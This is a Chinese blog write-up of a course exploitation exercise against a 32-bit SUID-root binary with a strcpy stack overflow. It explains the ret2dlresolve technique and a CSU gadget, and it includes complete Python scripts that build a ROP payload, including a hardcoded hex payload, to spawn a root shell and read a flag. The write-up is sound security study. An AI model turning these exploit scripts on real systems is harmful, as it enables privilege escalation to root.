来自某课的附加练习,由于很少接触 pwn,这种高级 ROP 技术没怎么接触过,借此学习一下这个方法

问题分析

使用 IDA 反编译看一下结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+28h] [ebp-138h] BYREF
char dest[300]; // [esp+2Ch] [ebp-134h] BYREF
int v6; // [esp+158h] [ebp-8h] BYREF
int esp; // [esp+15Ch] [ebp-4h]

esp = get_esp();
printf("\nsp=%x,buf=%x,ret=%x,i=%x", esp, dest, &v6, &v4);
fflush(stdout);
if ( argc <= 1 )
{
printf("\nUsage: %s <string>", *argv);
exit(1);
}
v6 = setuid(0);
if ( v6 < 0 )
{
printf("\nsetuid fail");
exit(1);
}
return (int)strcpy(dest, argv[1]);
}
1
2
3
4
5
6
7
Partial RELRO
No canary
NX enabled
No PIE
ASLR = 2
SUID root
32 位 ELF

程序传入参数 argv[1],然后调用 strcpy 将其拷贝到 dest 中,而 dest 的大小为 300 字节

没有对输入进行长度检查,并且 No canary ,因此可以通过传入超过 300 字节的字符串来覆盖栈上的返回地址

栈不可执行,需要使用 ROP,开启了 ASLR,NX,Partial RELRO

ret2resolver 变体

GOT 表可写,因此可以通过 ret2resolver 的方式来进行攻击

这个方法的核心是利用动态链接器的解析机制,通过构造一个假的 Elf32_Rel 和 Elf32_Sym 结构体来调用任意函数

在程序调用 printf 的时候,会跳到 plt 表,然后 plt 表跳到 GOT 表项,第一次调用的时候,还不是 libc 的 printf,大部分情况是 0,如果 GOT 表项还没有解析,就会跳到 _dl_runtime_resolve

1
2
push $0
jmp PLT0

这里压入的 0 是 reloc_index,实际上是 .rel.plt 里面的偏移,跳到 PLT0:

1
2
3
08048380 <PLT0>:
pushl 0x0804a004 ; GOT[1] = link_map
jmp *0x0804a008 ; GOT[2] = _dl_runtime_resolve
4800X2700/01.png

然后根据 link_map 和 _dl_runtime_resolve 来解析

这里栈大概是

1
2
3
4
[link_map]
[reloc_index = 0]
[调用 printf@plt 的返回地址]
[printf 的参数...]
4800X2700/02.png

_dl_runtime_resolve 保存寄存器后,调用: _dl_fixup(link_map, reloc_arg); ,这里的 reloc_arg 就是 reloc_index

在 _dl_fixup 内部,他拿到 link_map 后,需要找到 .dynstr/.strtab .symtab / .dynsym .rel.plt 这些段,然后从link_map 里的 l_info 数组中

1
2
3
l_info[DT_STRTAB]  -> .dynstr
l_info[DT_SYMTAB] -> .dynsym
l_info[DT_JMPREL] -> .rel.plt

每个动态链接的库都有一个 link_map,里面有很多信息,包括库的基地址、符号表、字符串表、重定位表等,GOT[1] 指向它

4800X2700/04.png

_dl_fixup 会根据 reloc_index 找到对应的重定位条目,然后根据重定位条目中的符号索引去 .dynsym 找到符号,再去 .dynstr 找到符号名,最后解析出函数的实际地址,并写入 GOT 表项

1
2
3
l_info[5]  = l_info[DT_STRTAB]
l_info[6] = l_info[DT_SYMTAB]
l_info[23] = l_info[DT_JMPREL]

每个 l_info[tag] 指向一个 Elf32_Dyn,里面有一个 d_ptr,就是表的地址

_dl_fixup 计算 reloc = .rel.plt + reloc_arg

在 .rel.plt 中

1
2
3
4
struct {
uint32_t r_offset; // 要填的 GOT 槽
uint32_t r_info; // 符号索引 + 类型
};

以 printf 为例

1
2
r_offset = 0x0804a00c   // 也就是 printf 的 GOT 槽
r_info = 0x00000107

r_info 拆分:

1
2
sym_index = 0x00000107 >> 8 = 1
type = 0x00000107 & 0xff = 7

type = 7 表示 R_386_JUMP_SLOT,也就是“函数跳转槽”

_dl_fixup 接着计算 sym = .dynsym + sym_index * 16

sym_index = 1,所以取 .dynsym 的第 1 项,Elf32_Sym 是 16 字节,第一个字段是

1
uint32_t st_name;   // 名字在 .dynstr 里的偏移

第 1 项取出来,st_name 指向 .dynstr 里的 "printf",到此, _dl_fixup 就知道要解析的符号是 printf

接着, _dl_fixup 调用

1
_dl_lookup_symbol_x("printf", link_map, ..., link_map->l_scope, ...)

l_scope 是主程序的搜索作用域,也就是它会在主程序和所有依赖的库里查找 printf,加载器在 libc 的 .dynsym/.dynstr 里找到 printf,拿到:

1
st_value = printf 在 libc 内的偏移

最后

1
printf 真实地址 = libc 加载基址 + st_value

于是_dl_fixup 把 printf 的真实地址写到 GOT 槽

1
r_offset + l_addr

简单来说就是

1
2
3
4
5
6
7
reloc = l->l_info[DT_JMPREL]->d_ptr + reloc_arg;
sym = l->l_info[DT_SYMTAB]->d_ptr + ELF32_R_SYM(reloc->r_info);
name = l->l_info[DT_STRTAB]->d_ptr + sym->st_name;

addr = lookup(name, l->l_scope); // 在真实 scope 里查
*(l->l_addr + reloc->r_offset) = addr; // 写回目标槽
return addr;
4800X2700/03.png

而 ret2dlresolve 就是利用这个机制,构造一个假的 .rel.plt、.dynsym、.dynstr,让 _dl_runtime_resolve 解析出想要的函数(比如 system),然后调用它

1
2
3
4
reloc_index/偏移 -> 假 reloc
sym_index/偏移 -> 假 sym
st_name/偏移 -> 假 "system"
l_scope -> 真作用域,查到 system

不改 l_scope,只改 link_map 的三个 l_info 指针,让加载器去读伪造的三张表

原来的调用链:

1
PLT0 -> _dl_fixup -> l_info[STRTAB/SYMTAB/JMPREL] -> 真表 -> l_scope -> printf

改为:

1
PLT0 -> _dl_fixup -> 被改过的 l_info -> 假表 -> 真 l_scope -> system
4800X2700/05.png

CSU gadget

改link_map 时, GOT[1] 槽的地址是固定的,但槽里的内容是运行时 ld.so 分配的 link_map 指针,被 ASLR 随机化

GCC/glibc 编译程序时会自动生成的一个启动函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x08048618:
mov eax, [esp+0x38]
mov [esp], ebp
mov [esp+8], eax

mov eax, [esp+0x34]
mov [esp+4], eax

call [ebx + edi*4 - 0xf8]

add edi, 1
cmp edi, esi
jne 0x08048618

add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
  • EBX + EDI*4 - 0xF8 决定调用哪个函数指针;
  • EBP 被写进 [esp],成为函数的第 1 个参数;
  • [esp+0x34] 被写进 [esp+4],成为第 2 个参数;
  • ESI 和 EDI 控制循环几次;
  • 调用完后,它能从帧里弹出下一帧,继续执行

可以使用这个配合 strcpy 来写入 link_map

我们知道 GOT 表是页对齐的,最后低字节是 00,只需要找到这样的一个 gadget,让他修改低字节位,然后取出 GOT 表项,存到我们的 payload 里面,即可调用执行 link_map + 0x34

然后调用 PLT0 来解析 execve,最后执行 /bin/sh

4800X2700/06.png

攻击思路

argv[1] 传入的字符串,长度超过 300 字节,覆盖返回地址,然后通过 strcpy 将构造的 payload 写在可写页上,然后扫描二进制的可写页,通过 strcpy 将 payload 写在可写页上

如果没有在二进制中找到相关的字节,需要通过相关的运算 gadget 来构造相关字节

然后需要去执行写在可写页的 payload,使用 CSU gadget 调用执行

1
2
3
4
5
6
7
8
9
F1 + 0x00: link_map + 0x34   ; 当前这次 strcpy 的 dest
F1 + 0x04: 0x08048618 ; 跳到 CSU 的返回地址
F1 + 0x08..0x20: 0 ; 填充/CSU 用的栈空间
F1 + 0x24: 0x0804a114 ; CSU 调用完后恢复的 EBX
F1 + 0x28: 0xffffffff ; CSU 调用完后恢复的 ESI
F1 + 0x2c: 0xfffffffe ; CSU 调用完后恢复的 EDI
F1 + 0x30: F2 ; CSU 调用完后弹进 EBP 的下一帧
F1 + 0x34: 0x08048468 ; CSU 调用完后 ret 到 leave;ret
F1 + 0x3c: SB1 ; 当前这次 strcpy 的 src
1
2
3
4
5
6
7
0x804a3e0: 00 00 00 00   ; dummy EBP
0x804a3e4: 80 83 04 08 ; PLT0 = 0x08048380
0x804a3e8: 00 00 00 00 ; reloc_arg = 0
0x804a3ec: 00 00 00 00 ; execve 的假返回地址
0x804a3f0: c0 a0 04 08 ; path = "/bin/sh"
0x804a3f4: e0 a0 04 08 ; argv = [0x804a0c0, NULL]
0x804a3f8: 00 00 00 00 ; envp = NULL
4800X2700/07.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
main
-> strcpy(buf, argv[1])
-> main leave;ret
-> 106 个 fixed strcpy 帧
-> OR 补 v
-> 3 个 tag 帧
-> 15 个 PTRBUF/Fn 帧
-> pop 寄存器
-> leave;ret
-> F1 -> CSU -> strcpy(link_map+0x34, SB1)
-> F2 -> CSU -> strcpy(link_map+0x38, SB2)
-> F3 -> CSU -> strcpy(link_map+0x7c, SB3)
-> FINAL -> PLT0
-> _dl_runtime_resolve -> _dl_fixup
-> 解析 "execve"
-> 写回 strcpy@got
-> execve("/bin/sh", ["/bin/sh", NULL], NULL)
-> shell -> id / cat flag

寻找字节

用 pwntool 找需要 strcpy 的字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Find the shortest null-terminated byte source in read-only PT_LOAD segments.

Usage:
python3 find_strcpy_bytes.py /path/to/tryofm32_default_compiled
"""
import sys
from pwn import ELF, context

context.arch = "i386"
context.log_level = "error"

BIN = sys.argv[1] if len(sys.argv) > 1 else "./tryofm32_default_compiled"
elf = ELF(BIN, checksec=False)

PF_R = 4
PF_W = 2
MAXLEN = 64

# 收集只读、不可写 PT_LOAD
ro_segments = []

for seg in elf.segments:
if seg.header.p_type not in (1, "PT_LOAD"):
continue

flags = seg.header.p_flags

if not (flags & PF_R):
continue
if flags & PF_W:
continue
if seg.header.p_filesz == 0:
continue

ro_segments.append((seg.header.p_vaddr, bytes(seg.data())))

# 0 字节源
zero_src = None
for base, data in ro_segments:
i = data.find(b"\x00")
if i >= 0:
zero_src = base + i
break

# 每个字节的最短源串
sources = {}

for base, data in ro_segments:
for i, ch in enumerate(data):
if ch == 0:
continue

j = data.find(b"\x00", i)
if j < 0:
continue

s = data[i:j]

if len(s) > MAXLEN:
continue

if ch not in sources or len(s) < len(sources[ch][1]):
sources[ch] = (base + i, s)

print("[+] binary:", BIN)
print("[+] zero_src:", hex(zero_src) if zero_src is not None else "not found")
print("[+] read-only sources:")

for b in range(1, 256):
if b in sources:
addr, s = sources[b]
print("0x%02x -> 0x%08x %s" % (b, addr, s.hex()))
else:
print("0x%02x -> not found" % b)
1
2
3
4
5
6
cat > ~/.pwn.conf <<'EOF'
[update]
interval=never
EOF

python3 find_strcpy_bytes.py ./tryofm32_default_compiled
1547X6968/17.png

值得注意到,找不到可用的 0x76 源字节即 execve 的 v 没有找到可用字节需要找一个 gadget 去运算处理

1
ROPgadget --binary ds/bin/tryofm32_default_compiled | grep -i "or.*byte ptr"
1385X243/16.png

这个

1
2
3
0x08048449:
or byte ptr [ebx + 0x17706f8], al
ret

需要

1
目标 = 0x804a094

于是设置

1
2
EBX = 0x804a094 - 0x17706f8
= 0x068d999c

我们选:

1
SCRATCH = 0x804a176

它的低字节是:

1
0x76

然后执行:

1
strcpy(0x804a176, zero_src);

strcpy 写完返回:

1
2
EAX = 0x804a176
AL = 0x76

同时它会在 SCRATCH 写一个 0,但 SCRATCH 之后不再使用,所以无所谓

payload 构造

地址大小内容
0x804a0608D1:fake Elf32_Dyn,tag 5,d_ptr 指向 strtab
0x804a0688D2:fake Elf32_Dyn,tag 6,d_ptr 指向 symtab
0x804a0708D3:fake Elf32_Dyn,tag 23,d_ptr 指向 reloc
0x804a0784SB1:存放 D1 的地址
0x804a0804SB2:存放 D2 的地址
0x804a0884SB3:存放 D3 的地址
0x804a0907fake strtab:execve\\0
0x804a0a016fake symtab:16 个 0
0x804a0b08fake reloc:r_offset=0x804a014,r_info=7
0x804a0c08/bin/sh\\0
0x804a0e08argv 数组:[0x804a0c0, 0]
0x804a1044CSU 地址 0x08048618 的源缓冲
0x804a1764SCRATCH,用来让 strcpy 返回 AL=0x76
0x804a2908PTRBUF,运行时造 link_map+offset 指针
0x804a2f00x50F1,CSU 帧 1
0x804a3400x50F2,CSU 帧 2
0x804a3900x50F3,CSU 帧 3
0x804a3e00x20FINAL,最终 PLT0 调用帧
4800X2700/08.png

构造 argv[1]

先填 buf 到返回地址,然后修改可写页表,用 strcpy,

1
2
3
4
strcpy@plt
pop2ret
dest
src

最后用那个 OR 运算完成 "exec\0e" -> "execve",最后写tag

1
2
3
strcpy(D1, 0x8049f54)   ; tag 5
strcpy(D2, 0x8049f5c) ; tag 6
strcpy(D3, 0x8049f94) ; tag 23

CSU 帧

1
2
3
PTRBUF = link_map+offset
F1[0] = PTRBUF
F1[4] = CSUBUF

这些值运行时才知道,所以是 5 帧 × 3

1
2
3
4
5
strcpy(PTRBUF, low_src)
strcpy(PTRBUF+1, GOT[1]+1)
strcpy(PTRBUF+4, zero_src)
strcpy(F1, PTRBUF)
strcpy(F1+4, CSUBUF)

执行 CSU 链

1
2
3
4
5
6
7
8
9
pop ebx; ret
0x0804a114

pop esi; pop edi; pop ebp; ret
0xffffffff
0xfffffffe
F1

leave; ret

构造完整的 payload,也就是 argv[1]

这里还有个问题

strcpy(buf, argv[1]); buf 在栈上,argv[1] 的字符串也在栈上,而且 argv[1] 在比 buf 更高的地址,

strcpy 的行为是:

  • 从 argv[1] 读一个字节;
  • 写到 buf;
  • 地址都往后加 1;
  • 直到遇到 \0。

也就是说,目标 buf 是从低地址往高地址写,源 argv[1] 也在高地址方向

buf 到 argv[1] 源串的距离只有 789 字节,payload 装不下,所以 strcpy 往高地址写的过程中,还没复制完,目标地址就会追上源串破坏掉

于是传入一个 argv[0],把 argv[1] 源串往远处顶

1
argv0 = "A" * 12000

最终脚本

Ver1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Build the complete writable-page payload for tryofm32_default_compiled.

Usage:
python3 build_page.py ./tryofm32_default_compiled

Output:
page_payload.bin # use as argv[1], with argv[0]="A"*12000
"""
import os
import sys
from pwn import ELF, context, p32

context.arch = "i386"
context.log_level = "error"

BIN = sys.argv[1] if len(sys.argv) > 1 else "./tryofm32_default_compiled"
elf = ELF(BIN, checksec=False)

PF_R = 4
PF_W = 2
BAD = {0x00, 0xa4, 0xa5, 0xa7}
MAXLEN = 24


def addr_ok(addr):
return all(c not in BAD for c in p32(addr))


# ------------------------------------------------------------
# 1. 只读段
# ------------------------------------------------------------
ro_segments = []
for seg in elf.segments:
if seg.header.p_type not in (1, "PT_LOAD"):
continue
flags = seg.header.p_flags
if not (flags & PF_R):
continue
if flags & PF_W:
continue
if seg.header.p_filesz == 0:
continue
ro_segments.append((seg.header.p_vaddr, bytes(seg.data())))

# ------------------------------------------------------------
# 2. zero_src 和源字节表
# ------------------------------------------------------------
zero_src = None
for base, data in ro_segments:
for i, ch in enumerate(data):
if ch == 0 and addr_ok(base + i):
zero_src = base + i
break
if zero_src is not None:
break

sources = {}
for base, data in ro_segments:
for i, ch in enumerate(data):
if ch in BAD:
continue
addr = base + i
if not addr_ok(addr):
continue
j = data.find(b"\x00", i)
if j < 0:
continue
s = data[i:j]
if len(s) > MAXLEN:
continue
if ch not in sources or len(s) < len(sources[ch][1]):
sources[ch] = (addr, s)

if zero_src is None:
raise SystemExit("[-] no zero source")

# ------------------------------------------------------------
# 3. 布局
# ------------------------------------------------------------
D1, D2, D3 = 0x804a060, 0x804a068, 0x804a070
SB1, SB2, SB3 = 0x804a078, 0x804a080, 0x804a088
STR, SYM, REL, SH = 0x804a090, 0x804a0a0, 0x804a0b0, 0x804a0c0
ARGV = 0x804a0e0
CSUBUF = 0x804a104

SCRATCH = 0x804a176
PTRBUF = 0x804a290
F1, F2, F3, FINAL = 0x804a2f0, 0x804a340, 0x804a390, 0x804a3e0

CSU = 0x08048618
LEAVE = 0x08048468
PLT0 = 0x08048380
STRCPY = 0x080483b0
POP2 = 0x0804863e
POPEBX = 0x08048375
POP3 = 0x0804863d
ORG = 0x08048449

EBX = 0x0804a114
ESI = 0xffffffff
EDI = 0xfffffffe
R_OFF = 0x0804a014
GOT1P1 = 0x804a005
SHPTR = SH

BASE = 0x804a060
END = 0x804a400
SIZE = END - BASE

desired = bytearray(SIZE)


def put(addr, blob):
off = addr - BASE
desired[off:off + len(blob)] = blob


# D1/D2/D3 的 d_ptr,tag 运行时再写
put(D1 + 4, p32(STR))
put(D2 + 4, p32(SYM))
put(D3 + 4, p32(REL))

# SB1/SB2/SB3
put(SB1, p32(D1))
put(SB2, p32(D2))
put(SB3, p32(D3))

# fake strtab:v 运行时补
put(STR, b"exec" + b"\x00" + b"e")

# fake symtab 全 0,不用写
# fake reloc
put(REL, p32(R_OFF) + p32(7))

# /bin/sh 和 argv
put(SH, b"/bin/sh")
put(ARGV, p32(SH))

# CSU 地址源缓冲
put(CSUBUF, p32(CSU))

# F1/F2/F3 固定字段
for fr, nxt, src in (
(F1, F2, SB1),
(F2, F3, SB2),
(F3, FINAL, SB3),
):
put(fr + 0x24, p32(EBX))
put(fr + 0x28, p32(ESI))
put(fr + 0x2c, p32(EDI))
put(fr + 0x30, p32(nxt))
put(fr + 0x34, p32(LEAVE))
put(fr + 0x3c, p32(src))

# FINAL 帧
put(FINAL + 4, p32(PLT0))
put(FINAL + 16, p32(SHPTR))
put(FINAL + 20, p32(ARGV))

# ------------------------------------------------------------
# 4. 字节级 fixer
# ------------------------------------------------------------
image = bytearray(SIZE)
fixed_writes = []

pos = 0
guard = 0
while pos < SIZE and guard < 4000:
guard += 1

if image[pos] == desired[pos]:
pos += 1
continue

want = desired[pos]

if want == 0:
fixed_writes.append((BASE + pos, zero_src))
image[pos] = 0
pos += 1
continue

if want not in sources:
raise SystemExit("[-] no source for 0x%02x at 0x%08x" %
(want, BASE + pos))

src, s = sources[want]
fixed_writes.append((BASE + pos, src))

for k, ch in enumerate(s):
if pos + k < SIZE:
image[pos + k] = ch
if pos + len(s) < SIZE:
image[pos + len(s)] = 0

pos += 1

if bytes(image) != bytes(desired):
raise SystemExit("[-] fixed page mismatch")

# ------------------------------------------------------------
# 5. 运行时帧
# ------------------------------------------------------------
def frame(dest, src):
return p32(STRCPY) + p32(POP2) + p32(dest) + p32(src)


payload = b"A" * 320

# fixed page
for dest, src in fixed_writes:
payload += frame(dest, src)

# 补 v
payload += frame(SCRATCH, zero_src)
ebx_or = (0x804a094 - 0x17706f8) & 0xffffffff
payload += p32(POPEBX) + p32(ebx_or) + p32(ORG)

# tag 5/6/23
for dest, tag_src in (
(D1, 0x8049f54),
(D2, 0x8049f5c),
(D3, 0x8049f94),
):
payload += frame(dest, tag_src)

# 低字节源
low_src = {}
for b in (0x34, 0x38, 0x7c):
if b in sources:
low_src[b] = sources[b][0]
continue

found = None
for base, data in ro_segments:
i = data.find(bytes([b]))
while i != -1:
if addr_ok(base + i):
found = base + i
break
i = data.find(bytes([b]), i + 1)
if found is not None:
break

if found is None:
raise SystemExit("[-] no low-byte source for 0x%02x" % b)
low_src[b] = found

# PTRBUF + F1/F2/F3 的 [0] 和 [4]
for fr, low in ((F1, 0x34), (F2, 0x38), (F3, 0x7c)):
payload += frame(PTRBUF, low_src[low])
payload += frame(PTRBUF + 1, GOT1P1)
payload += frame(PTRBUF + 4, zero_src)
payload += frame(fr, PTRBUF)
payload += frame(fr + 4, CSUBUF)

# 寄存器设置 + pivot
payload += p32(POPEBX) + p32(EBX)
payload += p32(POP3) + p32(ESI) + p32(EDI) + p32(F1)
payload += p32(LEAVE)

# ------------------------------------------------------------
# 6. 结果
# ------------------------------------------------------------
# 给静态页补上运行时 tag 和 v,便于查看
image[D1 - BASE] = 5
image[D2 - BASE] = 6
image[D3 - BASE] = 23
image[STR - BASE + 4] = 0x76

print("[+] fixed writes:", len(fixed_writes))
print("[+] runtime frames: 15")
print("[+] payload length:", len(payload))
print("[+] null bytes:", payload.count(b"\x00"))

print("[+] D1:", bytes(image[D1 - BASE:D1 - BASE + 8]).hex())
print("[+] D2:", bytes(image[D2 - BASE:D2 - BASE + 8]).hex())
print("[+] D3:", bytes(image[D3 - BASE:D3 - BASE + 8]).hex())
print("[+] STR:", bytes(image[STR - BASE:STR - BASE + 7]).hex())
print("[+] REL:", bytes(image[REL - BASE:REL - BASE + 8]).hex())

out = os.path.join(os.path.dirname(os.path.abspath(__file__)),
"page_payload.bin")
with open(out, "wb") as f:
f.write(payload)

print("[+] wrote:", out)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import time
import select
import subprocess

BIN = "/home/hacker/rop/tryofm32_default_compiled"
PAYLOAD = "page_payload.bin"

payload = open(PAYLOAD, "rb").read()
argv0 = "A" * 12000

p = subprocess.Popen(
[argv0, payload],
executable=BIN,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)

time.sleep(1.0)

try:
p.stdin.write(b"/usr/bin/id; /bin/cat /home/hacker/rop/flag; exit\n")
p.stdin.flush()
except IOError as e:
print("stdin write failed:", e)

data = b""
end = time.time() + 2

while time.time() < end:
r, _, _ = select.select([p.stdout], [], [], 0.1)
if r:
chunk = os.read(p.stdout.fileno(), 4096)
if not chunk:
break
data += chunk

os.write(1, data)

try:
p.wait(timeout=2)
except Exception:
pass

print("[*] returncode=%r" % p.returncode)

Ver2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Super bonus exploit for tryofm32_default_compiled.
import os
import sys
import time
import select
import subprocess

BIN = "/home/hacker/rop/tryofm32_default_compiled"
HEX = (
"4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141"
"4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141"
"4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141"
"4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141"
"4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141"
"4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141"
"4141414141414141414141414141414141414141b08304083e86040864a00408f7830408b08304083e86040865a004088983"
"0408b08304083e8604086ca0040889830408b08304083e8604086da0040889830408b08304083e86040874a00408d8860408"
"b08304083e86040875a0040889830408b08304083e86040878a0040844870408b08304083e86040879a0040889830408b083"
"04083e86040880a0040896820408b08304083e86040881a0040889830408b08304083e86040888a00408c8860408b0830408"
"3e86040889a0040889830408b08304083e86040890a0040887820408b08304083e86040891a004088c860408b08304083e86"
"040892a0040887820408b08304083e86040893a004080c830408b08304083e86040895a0040887820408b08304083e860408"
"96a0040807800408b08304083e860408b0a004088c810408b08304083e860408b1a0040889830408b08304083e860408b4a0"
"040885800408b08304083e860408c0a0040820820408b08304083e860408c1a0040873820408b08304083e860408c2a00408"
"8e820408b08304083e860408c3a00408c2820408b08304083e860408c4a0040820820408b08304083e860408c5a004089582"
"0408b08304083e860408e0a00408cf810408b08304083e860408e1a0040889830408b08304083e86040804a1040821800408"
"b08304083e86040805a1040801810408b08304083e86040808a1040807800408b08304083e86040814a304088c810408b083"
"04083e86040815a30408d0840408b08304083e86040816a3040850800408b08304083e86040817a304087f800408b0830408"
"3e86040818a30408bf860408b08304083e86040819a30408bf860408b08304083e8604081aa30408bf860408b08304083e86"
"04081ba30408bf860408b08304083e8604081ca30408c5860408b08304083e8604081fa30408bf860408b08304083e860408"
"20a3040824870408b08304083e86040821a304085f830408b08304083e86040822a3040850800408b08304083e86040823a3"
"04087f800408b08304083e86040824a3040896820408b08304083e86040825a3040819800408b08304083e86040828a30408"
"07800408b08304083e8604082ca304088c860408b08304083e8604082da3040889830408b08304083e86040864a304088c81"
"0408b08304083e86040865a30408d0840408b08304083e86040866a3040850800408b08304083e86040867a304087f800408"
"b08304083e86040868a30408bf860408b08304083e86040869a30408bf860408b08304083e8604086aa30408bf860408b083"
"04083e8604086ba30408bf860408b08304083e8604086ca30408c5860408b08304083e8604086fa30408bf860408b0830408"
"3e86040870a30408f7830408b08304083e86040871a304085f830408b08304083e86040872a3040850800408b08304083e86"
"040873a304087f800408b08304083e86040874a3040896820408b08304083e86040875a3040819800408b08304083e860408"
"78a3040807800408b08304083e8604087ca3040864870408b08304083e8604087da3040889830408b08304083e860408b4a3"
"04088c810408b08304083e860408b5a30408d0840408b08304083e860408b6a3040850800408b08304083e860408b7a30408"
"7f800408b08304083e860408b8a30408bf860408b08304083e860408b9a30408bf860408b08304083e860408baa30408bf86"
"0408b08304083e860408bba30408bf860408b08304083e860408bca30408c5860408b08304083e860408bfa30408bf860408"
"b08304083e860408c0a304089c830408b08304083e860408c1a304085f830408b08304083e860408c2a3040850800408b083"
"04083e860408c3a304087f800408b08304083e860408c4a3040896820408b08304083e860408c5a3040819800408b0830408"
"3e860408c8a3040807800408b08304083e860408caa3040807800408b08304083e860408cba3040807800408b08304083e86"
"0408cca30408f8860408b08304083e860408cda3040889830408b08304083e860408e4a3040864870408b08304083e860408"
"e5a30408bb850408b08304083e860408e6a3040850800408b08304083e860408e7a304087f800408b08304083e860408f0a3"
"0408cf810408b08304083e860408f1a3040889830408b08304083e860408f4a304089c830408b08304083e860408f5a30408"
"89830408b08304083e860408f9a3040807800408b08304083e860408faa3040807800408b08304083e860408fba304080780"
"0408b08304083e860408fca3040807800408b08304083e860408fda3040807800408b08304083e860408fea3040807800408"
"b08304083e860408ffa3040807800408b08304083e86040876a1040807800408758304089c998d0649840408b08304083e86"
"040860a00408549f0408b08304083e86040868a004085c9f0408b08304083e86040870a00408949f0408b08304083e860408"
"90a204081c800408b08304083e86040891a2040805a00408b08304083e86040894a2040807800408b08304083e860408f0a2"
"040890a20408b08304083e860408f4a2040804a10408b08304083e86040890a2040860870408b08304083e86040891a20408"
"05a00408b08304083e86040894a2040807800408b08304083e86040840a3040890a20408b08304083e86040844a3040804a1"
"0408b08304083e86040890a20408a8810408b08304083e86040891a2040805a00408b08304083e86040894a2040807800408"
"b08304083e86040890a3040890a20408b08304083e86040894a3040804a104087583040814a104083d860408fffffffffeff"
"fffff0a2040868840408"
)
try:
payload = HEX.decode("hex") # Python 2
except AttributeError:
payload = bytes.fromhex(HEX) # Python 3

assert len(payload) == 2360, len(payload)
argv0 = "A" * 12000
print("[*] payload=%d argv0=%d" % (len(payload), len(argv0)))
sys.stdout.flush()

p = subprocess.Popen([argv0, payload], executable=BIN,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
time.sleep(1.0)
try:
# envp is NULL after execve, so use absolute paths.
p.stdin.write("/usr/bin/id; /bin/cat /home/hacker/rop/flag; exit" + chr(10))
p.stdin.flush()
except IOError as ex:
print("[-] stdin write failed: %s" % ex)

data = ""
end = time.time() + 2
while time.time() < end:
r, _, _ = select.select([p.stdout], [], [], 0.1)
if r:
chunk = os.read(p.stdout.fileno(), 4096)
if not chunk:
break
data += chunk

sys.stdout.write(data)
if data and not data.endswith(chr(10)):
sys.stdout.write(chr(10))
try:
p.wait()
except Exception:
pass
print("[*] returncode=%r" % p.returncode)

脚本运行截图:

1582X359/19.png

同分类文章3

$ discussion

# Comments

waline